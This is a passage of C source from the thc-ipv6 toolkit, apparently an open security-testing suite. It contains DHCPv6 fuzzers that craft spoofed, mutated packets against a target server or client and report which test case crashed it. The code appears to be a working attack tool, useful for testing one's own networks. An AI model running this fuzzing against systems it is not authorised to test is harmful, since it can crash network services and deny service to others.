option */ if (fdebug) printf("%d option %d length %d\n", roffset, (int)rdatabuf[roffset], (int)rdatabuf[roffset + 2]); roffset += (int)rdatabuf[roffset + 2]; roffset += 4; continue; } if (rdatabuf[roffset + 4] != 1) { fprintf(stderr, "Can only reply to clients using DUID Type 1\n"); break; } if (rdatabuf[roffset + 3] == 0x00 && rdatabuf[roffset + 4] == 0x01) { cidflag = 1; memcpy(cid, &rdatabuf[roffset + 3], 14); if (fdebug) printf("got it!\n"); break; } } printf( "Client ID: " "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x\n", cid[0], cid[1], cid[2], cid[3], cid[4], cid[5], cid[6], cid[7], cid[8], cid[9], cid[10], cid[11], cid[12], cid[13]); if (oflg) printf("Options: %s\n", option_string); printf("\nFields Fuzzed:\n\n"); do_fuzzer(); printf( "\n\nListening for DHCPv6 clients on %s (Press Control-C to end) " "...\n\n", interface); f_cnt = 0; } /* Received */ } /* while */ } int main(int argc, char *argv[]) { if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); // Parse options memset(cid, 0, 14); /* clear cid */ while ((i = getopt(argc, argv, "123456789ABCDmn:t:e:T:dlp:frv:x:c:o:")) >= 0) { switch (i) { case '1': do_type = DO_SOL; break; case '2': do_type = DO_ADV; break; case '3': do_type = DO_REQ; break; case '4': do_type = DO_CON; break; case '5': do_type = DO_REN; break; case '6': do_type = DO_REB; break; case '7': do_type = DO_REP; break; case '8': do_type = DO_REL; break; case '9': do_type = DO_DEC; break; case 'A': do_type = DO_REC; break; case 'B': do_type = DO_NFO; break; case 'C': do_type = DO_REL_FOR; break; case 'D': do_type = DO_REL_REP; break; case 'm': fuzz_dhcp_msg = 1; break; case 'n': no_send = atoi(optarg); break; case 't': test_start = atoi(optarg); break; case 'e': test_end = atoi(optarg); break; case 'T': test_end = test_start = atoi(optarg); break; case 'l': use_real_link = 0; // no break case 'f': use_real_mac = 0; break; case 'p': ping = atoi(optarg); break; case 'd': fdebug = 1; case 'r': i = 0; break; // just to ignore -r case 'v': strncpy((char *)&victim, optarg, sizeof(victim)); listen_for_clients = 0; break; case 'o': oflg = 1; strncpy((char *)&option_string, optarg, sizeof(option_string)); break; case 'x': sscanf(optarg, "%x", &xid); break; case 'c': cidflag = 1; sscanf(optarg, "%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x", (char *)&cid[0], (char *)&cid[1], (char *)&cid[2], (char *)&cid[3], (char *)&cid[4], (char *)&cid[5], (char *)&cid[6], (char *)&cid[7], (char *)&cid[8], (char *)&cid[9], (char *)&cid[10], (char *)&cid[11], (char *)&cid[12], (char *)&cid[13]); break; default: fprintf(stderr, "Error: unknown option -%c\n", i); exit(-1); } } // Check options if (no_send < 1) { fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n"); exit(-1); } if (test_end < test_start) { printf("don't fuck up the command line options!\n"); exit(-1); } memset(mac, 0, sizeof(mac)); interface = argv[optind]; if (interface == NULL) { fprintf(stderr, "interface required\n"); exit(0); } if (use_real_link) src = thc_get_own_ipv6(interface, NULL, PREFER_LINK); else src = thc_resolve6("fe80::"); if (use_real_mac) { mac6 = thc_get_own_mac(interface); memcpy(mac, mac6, sizeof(mac)); } setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if (listen_for_clients) dhcpc_listener(); else dst = thc_resolve6(victim); // only to prevent our system to send icmp port unreachable messages if ((s = thc_bind_udp_port(547)) < 0) fprintf(stderr, "Warning: could not bind to 547/udp\n"); if ((p = thc_pcap_init_promisc(interface, "ip6 and udp and dst port 547")) == NULL) { fprintf(stderr, "Error: can not open interface %s in promisc mode\n", interface); exit(-1); } printf("\nVictim: %s\n", victim); if (xid) printf("Transaction ID: %x\n", xid); if (cidflag) printf( "Client ID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x\n", cid[0], cid[1], cid[2], cid[3], cid[4], cid[5], cid[6], cid[7], cid[8], cid[9], cid[10], cid[11], cid[12], cid[13]); if (oflg) printf("Options: %s\n", option_string); printf("\nFields Fuzzed:\n\n"); do_fuzzer(); } int do_fuzzer() { char *ptr; int bad_length = 0; // Generate fuzzing mask and packet memset((char *)&fuzzing_mask, 0, 256); /* clear fuzzing mask */ memset((char *)&wdatabuf, 0, 1024); /* clear message buffer */ strcat(fuzzing_mask, mac_fuzz); /* Don't fuzz MAC */ strcat(fuzzing_mask, ipv6_fuzz); /* Don't fuzz target IPv6 address */ strcat(fuzzing_mask, udp_header_fuzz); /* Don't fuzz UDP header */ if (fuzz_dhcp_msg == 0) { options[0].code[0] = do_type; strcat(fuzzing_mask, options[0].dont_fuzz); } else strcat(fuzzing_mask, options[0].fuzz); wdatabuf[0] = options[0].code[0]; // Transaction ID if (xid > 0) { if (listen_for_clients == 0) memcpy(tribyte_id, (char *)&xid, 3); options[1].code[0] = tribyte_id[2]; options[1].code[1] = tribyte_id[1]; options[1].code[2] = tribyte_id[0]; strcat(fuzzing_mask, options[1].dont_fuzz); } else strcat(fuzzing_mask, options[1].fuzz); memcpy((char *)&wdatabuf[1], options[1].code, options[1].length); // Load client ID memcpy((char *)&options[2].code[4], cid, 14); if (cidflag == 0) strcat(fuzzing_mask, options[2].fuzz); else strcat(fuzzing_mask, options[2].dont_fuzz); memcpy((char *)&wdatabuf[4], options[2].code, options[2].length); // Insert time stamp and MAC in Server ID option double secs; secs = time(NULL); memcpy((char *)&options[3].code[8], (char *)&secs, 4); /* time stamp */ memcpy((char *)&options[3].code[12], thc_get_own_mac(interface), 6); int optx = 0; int opt_off = 22; ptr = option_string; while (*ptr) { if (*ptr < 'a' || *ptr > 'r') { ++ptr; continue; } if (*ptr == 'L') { bad_length = 1; ++ptr; continue; } for (optx = 0; optx < 21; optx++) if (*ptr == options[optx].tag) break; if (bad_length) { options[optx].fuzz[2] = 'B'; options[optx].fuzz[3] = 'B'; bad_length = 0; } strcat(fuzzing_mask, options[optx].fuzz); memcpy((char *)&wdatabuf[opt_off], options[optx].code, options[optx].length); opt_off += options[optx].length; ++ptr; } if (fdebug) printf("%s\n", fuzzing_mask); if (!use_real_link) for (i = 0; i < 8; i++) src[i + 8] = rand() % 256; if (!use_real_mac) { mac[i * 2] = rand() % 256; mac[i * 2 + 1] = rand() % 256; } if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src, dst, 1, 0, 0, 0, 0)) == NULL) { fprintf(stderr, "Can't create IPv6 Extended\n"); return -1; } if (thc_add_udp(pkt, &pkt_len, 547, 546, 0, wdatabuf, opt_off) < 0) { fprintf(stderr, "Can't add UDP\n"); return -1; } if (thc_generate_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) { fprintf(stderr, "Can't generate packet\n"); return -1; } // Fuzz DHCPv6 Messgage and Send It if (fuzz_loop(pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); return 0; } thc-ipv6-3.8/fuzz_dhcps6.c000066400000000000000000000777461376121567700155010ustar00rootroot00000000000000/* * Contributed by: * Brandon Hutcheson, Graeme Neilson and Ryan Ko * */ #include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" #define COUNT_FLAG 11 #define COUNT_BYTE 4 #define COUNT_WORD 16 #define COUNT_XOR 2 #define COUNT_EXTEND 256 #define COUNT_DWORD 256 #define NEVER 2000000000 #define TEST_MAX (NEVER - 1) #define DO_SOL 1 #define DO_REQ 2 #define DO_CON 3 #define DO_REN 4 #define DO_REB 5 #define DO_DEC 6 #define DO_REL 7 #define DO_INF 8 #define STATELESS 0 #define STATEFULL 1 /* * Fuzzing data types: * F = flags = 1 byte = 8 bits | flags | 8 ; 256 * B = byte = 1 byte | 0 1 254 255 xor XOR | 6 ; 256 * X = byte = 1 byte | all values from 0 to 255 * W = word = 2 bytes | 0,1,254,255^2 xor XOR | 18 ; 65536 * D = double word = 4 bytes | {0,1,254,255}^4 xor XOR | 258 ; 4294967295 * . = byte = ignore, jump over * */ char fuzztype_ether[] = ".............."; // 14 byte header char fuzztype_ip6[] = "........................................"; // 40 byte header char fuzztype_udp[] = "........"; // 8 byte header char fuzztype_dhcp6[] = "X..."; // 4 byte header (fuzz message type) char fuzztype_dhcp6no[] = "...."; // 4 byte header (don't fuzz message type) // OPTION HEADERS char fuzztype_elapsed_time[] = "WWW"; // 6 byte header char fuzztype_client_identifier[] = "WWWWDWWW"; // 18 byte header char fuzztype_server_identifier[] = "WWWWDWWW"; // 18 byte header char fuzztype_IA_NA[] = "WWDDD"; // 16 byte header char fuzztype_IA_Address[] = "WWXX..............DD"; char fuzztype_FQDN[] = "WWF"; // 5 byte header + length of domain string to be // added in programatically char fuzztype_option_request[] = "WWW"; // 6 byte header (add extra W for each additional option) char fuzztype_prefixdele[] = "WWDDDWWDDFW............W"; // 45 bytes char fuzztype_reconfig[] = "WW"; // 4 bytes char fuzztype_option_options[] = "WWWXXXXXXXXXXXXXX"; // 20 bytes // //Matched solicit from RF manual // char fuzztype_solicit[] = ".......FFFFFFFFF................BBBXXXX"; // //Still have to add in other types. // char fuzztype_tran_id[] = "XF..WXBXX..............XX.............."; // char fuzztype_options[] = "........................................"; unsigned char flags[] = {0, 1, 2, 4, 8, 16, 32, 64, 128, 254, 255}; // 11 unsigned char bytes[] = {0, 1, 254, 255}; // 4 unsigned short int words[] = {0x0000, 0x0001, 0x00fe, 0x00ff, 0x0100, 0x0101, 0x01fe, 0x01ff, 0xfe00, 0xfe01, 0xfefe, 0xfeff, 0xff00, 0xff01, 0xfffe, 0xffff}; // 16 unsigned int xors[] = {0, 0xffffffff}; // 2 unsigned char extends[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255}; // 256 unsigned int dwords[] = { 0x00000000, 0x00000001, 0x000000fe, 0x000000ff, 0x00000100, 0x00000101, 0x000001fe, 0x000001ff, 0x0000fe00, 0x0000fe01, 0x0000fefe, 0x0000feff, 0x0000ff00, 0x0000ff01, 0x0000fffe, 0x0000ffff, 0x00010000, 0x00010001, 0x000100fe, 0x000100ff, 0x00010100, 0x00010101, 0x000101fe, 0x000101ff, 0x0001fe00, 0x0001fe01, 0x0001fefe, 0x0001feff, 0x0001ff00, 0x0001ff01, 0x0001fffe, 0x0001ffff, 0x00fe0000, 0x00fe0001, 0x00fe00fe, 0x00fe00ff, 0x00fe0100, 0x00fe0101, 0x00fe01fe, 0x00fe01ff, 0x00fefe00, 0x00fefe01, 0x00fefefe, 0x00fefeff, 0x00feff00, 0x00feff01, 0x00fefffe, 0x00feffff, 0x00ff0000, 0x00ff0001, 0x00ff00fe, 0x00ff00ff, 0x00ff0100, 0x00ff0101, 0x00ff01fe, 0x00ff01ff, 0x00fffe00, 0x00fffe01, 0x00fffefe, 0x00fffeff, 0x00ffff00, 0x00ffff01, 0x00fffffe, 0x00ffffff, 0x01000000, 0x01000001, 0x010000fe, 0x010000ff, 0x01000100, 0x01000101, 0x010001fe, 0x010001ff, 0x0100fe00, 0x0100fe01, 0x0100fefe, 0x0100feff, 0x0100ff00, 0x0100ff01, 0x0100fffe, 0x0100ffff, 0x01010000, 0x01010001, 0x010100fe, 0x010100ff, 0x01010100, 0x01010101, 0x010101fe, 0x010101ff, 0x0101fe00, 0x0101fe01, 0x0101fefe, 0x0101feff, 0x0101ff00, 0x0101ff01, 0x0101fffe, 0x0101ffff, 0x01fe0000, 0x01fe0001, 0x01fe00fe, 0x01fe00ff, 0x01fe0100, 0x01fe0101, 0x01fe01fe, 0x01fe01ff, 0x01fefe00, 0x01fefe01, 0x01fefefe, 0x01fefeff, 0x01feff00, 0x01feff01, 0x01fefffe, 0x01feffff, 0x01ff0000, 0x01ff0001, 0x01ff00fe, 0x01ff00ff, 0x01ff0100, 0x01ff0101, 0x01ff01fe, 0x01ff01ff, 0x01fffe00, 0x01fffe01, 0x01fffefe, 0x01fffeff, 0x01ffff00, 0x01ffff01, 0x01fffffe, 0x01ffffff, 0xfe000000, 0xfe000001, 0xfe0000fe, 0xfe0000ff, 0xfe000100, 0xfe000101, 0xfe0001fe, 0xfe0001ff, 0xfe00fe00, 0xfe00fe01, 0xfe00fefe, 0xfe00feff, 0xfe00ff00, 0xfe00ff01, 0xfe00fffe, 0xfe00ffff, 0xfe010000, 0xfe010001, 0xfe0100fe, 0xfe0100ff, 0xfe010100, 0xfe010101, 0xfe0101fe, 0xfe0101ff, 0xfe01fe00, 0xfe01fe01, 0xfe01fefe, 0xfe01feff, 0xfe01ff00, 0xfe01ff01, 0xfe01fffe, 0xfe01ffff, 0xfefe0000, 0xfefe0001, 0xfefe00fe, 0xfefe00ff, 0xfefe0100, 0xfefe0101, 0xfefe01fe, 0xfefe01ff, 0xfefefe00, 0xfefefe01, 0xfefefefe, 0xfefefeff, 0xfefeff00, 0xfefeff01, 0xfefefffe, 0xfefeffff, 0xfeff0000, 0xfeff0001, 0xfeff00fe, 0xfeff00ff, 0xfeff0100, 0xfeff0101, 0xfeff01fe, 0xfeff01ff, 0xfefffe00, 0xfefffe01, 0xfefffefe, 0xfefffeff, 0xfeffff00, 0xfeffff01, 0xfefffffe, 0xfeffffff, 0xff000000, 0xff000001, 0xff0000fe, 0xff0000ff, 0xff000100, 0xff000101, 0xff0001fe, 0xff0001ff, 0xff00fe00, 0xff00fe01, 0xff00fefe, 0xff00feff, 0xff00ff00, 0xff00ff01, 0xff00fffe, 0xff00ffff, 0xff010000, 0xff010001, 0xff0100fe, 0xff0100ff, 0xff010100, 0xff010101, 0xff0101fe, 0xff0101ff, 0xff01fe00, 0xff01fe01, 0xff01fefe, 0xff01feff, 0xff01ff00, 0xff01ff01, 0xff01fffe, 0xff01ffff, 0xfffe0000, 0xfffe0001, 0xfffe00fe, 0xfffe00ff, 0xfffe0100, 0xfffe0101, 0xfffe01fe, 0xfffe01ff, 0xfffefe00, 0xfffefe01, 0xfffefefe, 0xfffefeff, 0xfffeff00, 0xfffeff01, 0xfffefffe, 0xfffeffff, 0xffff0000, 0xffff0001, 0xffff00fe, 0xffff00ff, 0xffff0100, 0xffff0101, 0xffff01fe, 0xffff01ff, 0xfffffe00, 0xfffffe01, 0xfffffefe, 0xfffffeff, 0xffffff00, 0xffffff01, 0xfffffffe, 0xffffffff}; // 256 char solicit[] = { 0x01, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x0e, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x00, 0x29, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x06, 0x00, 0x10, 0x00, 0x15, 0x00, 0x17, 0x00, 0x1f, 0x00, 0x38, 0x00, 0x40, 0x00, 0x63, 0x00, 0x7b, 0x00, 0xc7}; int port = -1; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, "Brandon Hutcheson, Graeme Neilson and Ryan Ko", RESOURCE); printf( "Syntax: %s [-t number | -T number] [-e number | -T number] [-p number] " "[-md] [-1|-2|-3|-4|-5|-6|-7|-8] interface [domain-name]\n\n", prg); printf("Options:\n"); printf(" -1 fuzz DHCPv6 Solicit (default)\n"); printf(" -2 fuzz DHCPv6 Request\n"); printf(" -3 fuzz DHCPv6 Confirm\n"); printf(" -4 fuzz DHCPv6 Renew\n"); printf(" -5 fuzz DHCPv6 Rebind\n"); printf(" -6 fuzz DHCPv6 Release\n"); printf(" -7 fuzz DHCPv6 Decline\n"); printf(" -8 fuzz DHCPv6 Information Request\n"); printf(" -m fuzz the message type as well\n"); printf(" -t number continue from test no. number\n"); printf(" -e number continue to test no. number\n"); printf(" -T number only performs test no. number\n"); printf(" -n number how many times to send each packet (default: 1)\n"); printf(" -f spoof mac\n"); printf(" -F spoof link address\n"); printf(" -w sec wait number of seconds between packets (default: 0)\n"); printf( " -p number perform an alive check every number of tests (default: " "none)\n"); printf( " -d Use -d to force DNS updates, you can specify a domain name " "on the commandline.\n"); printf("\nFuzzes a DHCPv6 packets to a server\n"); printf("You can only define one of -0 ... -4 types, defaults to -1.\n"); printf( "Returns -1 on error, 0 on tests done and targt alive or 1 on target " "crash.\n"); exit(-1); } char dnsupdate1[] = {0, 39, 0, 8, 1, 6, 122, 97, 97, 97, 97, 97}; char dnsupdate2[] = {0, 6, 0, 2, 0, 39}; char dns_option_hdr[256]; int dns_option_hdr_len = 0, waittime = 0; char fuzzbuf[256]; char *interface = NULL, *dns_name = NULL, elapsed[6] = {0, 8, 0, 2, 0, 0}; int do_dns = 0, test_start = 0, test_end = TEST_MAX, ping = NEVER, no_send = 1, got_packet = 0; pcap_t *p = NULL; int do_type = DO_SOL, fuzz_msg_type = 0; int timeout = 4; void ignoreit(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { return; } int try_send_pkt(char *interface, char *pkt, int *pkt_len) { // Try send packet int retry_send = 1; time_t start_time = time(NULL); while (time(NULL) - start_time < timeout && retry_send) { if (thc_send_pkt(interface, pkt, pkt_len) < 0) retry_send = 1; else retry_send = 0; } if (retry_send) { fprintf( stderr, "Timeout error: Unable to send check alive packet within timeout\n"); exit(-1); } if (waittime > 0) sleep(waittime); return 0; } int check_alive(pcap_t *p) { int ret = -2, len, pkt_len = 0, i; time_t t; char wdatabuf[1024]; char * pkt = NULL; unsigned char *dst = thc_resolve6("ff02::1:2"); unsigned char *mac6 = thc_get_own_mac(interface); len = sizeof(solicit); memcpy(wdatabuf, solicit, len); // start0: 1-3 rand, 18-21 rand, 22-27 mac, 32-35 rand for (i = 0; i < 3; i++) { wdatabuf[i + 1] = rand() % 256; wdatabuf[i + 18] = rand() % 256; wdatabuf[i + 32] = rand() % 256; } memcpy(wdatabuf + 22, mac6, 6); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, NULL, dst, 1, 0, 0, 0, 0)) == NULL) { fprintf(stderr, "Error: Failed to create check allive ivp6 packet header\n"); exit(-1); } if (thc_add_udp(pkt, &pkt_len, 546, 547, 0, wdatabuf, len) < 0) { fprintf(stderr, "Error: Failed to create check allive udp packet header\n"); exit(-1); } if (thc_generate_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Failed to create check allive packet header\n"); exit(-1); } // debug = 1; // Empty packet capture queue while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; // Send initial solicit request try_send_pkt(interface, pkt, &pkt_len); // Check for response in loop and timeout if we don't get one t = time(NULL); while (ret < 0) { // Got reply packet; server alive! if (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ret = 1; // If we still haven't received a packet after 1 second resend the solicit if (time(NULL) > t + 1 && ret == -2) { if (thc_send_pkt(interface, pkt, &pkt_len) < 0) { // Don't want to use try_send_pkt as it could take longer than // timeout usleep(75); thc_send_pkt(interface, pkt, &pkt_len); // Retry sending packet after // short time if sending failed } ret = -1; } // Fail after 4 seconds if (time(NULL) > t + timeout && ret < 0) ret = 0; } if (ret == 0) { fprintf(stderr, "Timeout: Failed to receive dhcp solicitation replay in check " "alive function within %d seconds\n", timeout); } // debug = 0; thc_destroy_packet(pkt); return ret > 0 ? 1 : 0; } int fuzz_loop(char *pkt, int *pkt_len) { int do_fuzz = 1; int test_pos = 0, test_ptr = 0, test_cnt = 0, test_current = 0; int do_it; int i; unsigned short int *sip; unsigned int * intp; int fragment = 0, frag_offset = 0; unsigned char * pkt_bak; thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; // backup of generated packet pkt_bak = malloc(hdr->pkt_len); memcpy(pkt_bak, hdr->pkt, hdr->pkt_len); printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d:\n", test_start, test_end); printf("fuzzbuf(%d): %s\n", strlen(fuzzbuf), fuzzbuf); while (do_fuzz) { if (test_cnt == 0) while (fuzzbuf[test_ptr] == '.') { test_ptr++; test_pos++; } if (fuzzbuf[test_ptr] == 0) do_fuzz = 0; test_cnt++; do_it = 1; switch (fuzzbuf[test_ptr]) { case 0: break; case 'X': if (test_cnt <= COUNT_EXTEND) { if (pkt_bak[test_pos] != extends[test_cnt - 1]) hdr->pkt[test_pos] = extends[test_cnt - 1]; else do_it = 0; } else { test_cnt = 0; test_ptr++; test_pos++; } break; case 'B': if (test_cnt <= COUNT_BYTE) { if (pkt_bak[test_pos] != bytes[test_cnt - 1]) hdr->pkt[test_pos] = bytes[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_BYTE && do_it) { if (bytes[i] == pkt_bak[test_pos]) do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_BYTE + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'F': if (test_cnt <= COUNT_FLAG) { if (pkt_bak[test_pos] != flags[test_cnt - 1]) hdr->pkt[test_pos] = flags[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_FLAG && do_it) { if (bytes[i] == pkt_bak[test_pos]) // yes, bytes[] is the right one // even for flags do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_FLAG + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'W': sip = (unsigned short int *)&pkt_bak[test_pos]; if (test_cnt <= COUNT_WORD) { if (*sip != words[test_cnt - 1]) memcpy((char *)&hdr->pkt[test_pos], (char *)&words[test_cnt - 1], 2); else do_it = 0; } else { i = 0; while (i < COUNT_WORD && do_it) { if (words[i] == *sip) do_it = 0; i++; } if (do_it) { i = *sip ^ xors[test_cnt - COUNT_WORD - 1]; sip = (unsigned short int *)&hdr->pkt[test_pos]; *sip = i % 65536; } } if (test_cnt == COUNT_WORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 2; } break; case 'D': intp = (unsigned int *)&pkt_bak[test_pos]; if (test_cnt <= COUNT_DWORD) { if (*intp != dwords[test_cnt - 1]) memcpy((char *)&hdr->pkt[test_pos], (char *)&dwords[test_cnt - 1], 4); else do_it = 0; } else { i = 0; while (i < COUNT_DWORD && do_it) { if (dwords[i] == *intp) do_it = 0; i++; } if (do_it) { i = *intp ^ xors[test_cnt - COUNT_DWORD - 1]; intp = (unsigned int *)&hdr->pkt[test_pos]; *intp = (unsigned int)i; // *intp = (unsigned int) (i % 4294967295); } } if (test_cnt == COUNT_DWORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 4; } break; default: fprintf(stderr, "This character should not be in the fuzz string, shoot the " "programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr, fuzzbuf); return -1; break; } if (do_it && do_fuzz) { if (test_current >= test_start && test_current <= test_end && do_fuzz) { printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| \n", /*fuzzbuf*/ "", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end); // Generate new transaction id int three_byte_test_current = test_current % 0x1000000; memcpy(hdr->pkt + 63, (char *)&three_byte_test_current, 3); // Regenerate UDP checksum hdr->pkt[60] = 0; hdr->pkt[61] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_UDP, &hdr->pkt[54], hdr->pkt_len - 54); hdr->pkt[60] = i / 256; hdr->pkt[61] = i % 256; // send packets int k; for (k = 0; k < no_send; k++) { while (thc_send_pkt(interface, pkt, pkt_len) < 0) usleep(1); if (waittime) sleep(waittime); } // printf("."); usleep(250); // TODO: Server up check if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current) if (check_alive(p) == 0) { i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1; printf( "\nResult: target %s crashed during fuzzing, offending test " "case no. could be %d to %d\n", thc_ipv62notation(hdr->final_dst), i < 0 ? 0 : i, test_current); exit(1); } } // reset to basic packet memcpy(hdr->pkt, pkt_bak, hdr->pkt_len); test_current++; } } return 0; } void construct_from_adv_and_fuzz(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { int len = header->caplen, pkt_len = 0, mlen = 10, olen; unsigned char *ptr = (unsigned char *)data, *pkt = NULL; char * smac, mac[6] = {0, 0x0d, 0, 0x0d, 0x0d, 0x0e}; char mybuf[1024] = {0x03, 0, 0, 0, 0, 8, 0, 2, 0, 0}; int done_dns = 0, i; // Begin fuzz buffer strcat(fuzzbuf, fuzztype_elapsed_time); // Set message type switch (do_type) { case DO_REQ: mybuf[0] = 0x03; break; case DO_CON: mybuf[0] = 0x04; break; case DO_REN: mybuf[0] = 0x05; break; case DO_REL: mybuf[0] = 0x08; break; case DO_DEC: mybuf[0] = 0x09; break; case DO_INF: mybuf[0] = 0x0B; break; default: fprintf(stderr, "Error: Unknown do type %d\n", do_type); exit(-1); break; } // Skip over header to dhcp header if (do_hdr_size) { data += do_hdr_size; len -= do_hdr_size; if ((data[0] & 240) != 0x60) return; } else { data += 14; len -= 14; } if (len < 126 || data[6] != NXT_UDP || data[48] != 2) return; data += 48; len -= 48; // Copy transaction id and skip to message options memcpy(mybuf + 1, data + 1, 3); data += 4; len -= 4; // Loop over options till reach end of header while (len >= 4) { // Set olen to the option length minus type and length fields and check for // bogus packet if ((olen = data[2] * 256 + data[3]) > len - 4 || olen < 0) { // the 4 here is the 4 bytes for the option type and option // length fields printf("Information: evil packet received\n"); olen = 0; len = -1; } else { // Copy server identifier or IA_NA to message if (data[1] > 1 && data[1] <= 3 && !(data[1] == 2 && do_type == DO_CON) && !(data[1] == 3 && do_type == DO_INF)) { // skip copying server identifier for confirm // or IA_NA for information request messages memcpy(mybuf + mlen, data, olen + 4); mlen += olen + 4; // Append server identifier fuzzing if (data[1] == 2) strcat(fuzzbuf, fuzztype_server_identifier); // Append IA_NA fuzzing + IA Address fuzzing else if (data[1] == 3) { strcat(fuzzbuf, fuzztype_IA_NA); if (olen > 12) strcat(fuzzbuf, fuzztype_IA_Address); } // printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf); } // Copy client identifier to message else if (data[1] == 1) { memcpy(mybuf + mlen, data, olen + 4); mlen += olen + 4; // smac auf client mac in paket setzen if (olen == 14) smac = (char *)(data + 12); else smac = mac; // Append client identifier fuzzing strcat(fuzzbuf, fuzztype_client_identifier); // printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf); } // Copy dns option else if (data[1] == 39 && do_dns) { memcpy(mybuf + mlen, data, olen + 4); mybuf[mlen + 4] = 1; // force server to write dns entry mlen += olen + 4; // Append dns fuzzing strcat(fuzzbuf, fuzztype_FQDN); for (i = 0; i < olen - 1; ++i) strcat(fuzzbuf, "B"); // Fuzz the domain name string strcat(fuzzbuf, fuzztype_option_request); // printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf); // Make sure we don't add dns twice done_dns = 1; } data += olen + 4; len -= olen + 4; if (len < 0) { printf("Information: evil packet received\n"); len = -1; } } } // Add saved dns option onto this packet if (do_dns && !done_dns) { memcpy(mybuf + mlen, dns_option_hdr, dns_option_hdr_len); mlen += dns_option_hdr_len; // Append dns fuzzing olen = dns_option_hdr[2] * 256 + dns_option_hdr[3]; strcat(fuzzbuf, fuzztype_FQDN); for (i = 0; i < olen - 1; ++i) strcat(fuzzbuf, "B"); // Fuzz the domain name string strcat(fuzzbuf, fuzztype_option_request); // printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf); } // Build and send fuzzed message packets if (len >= 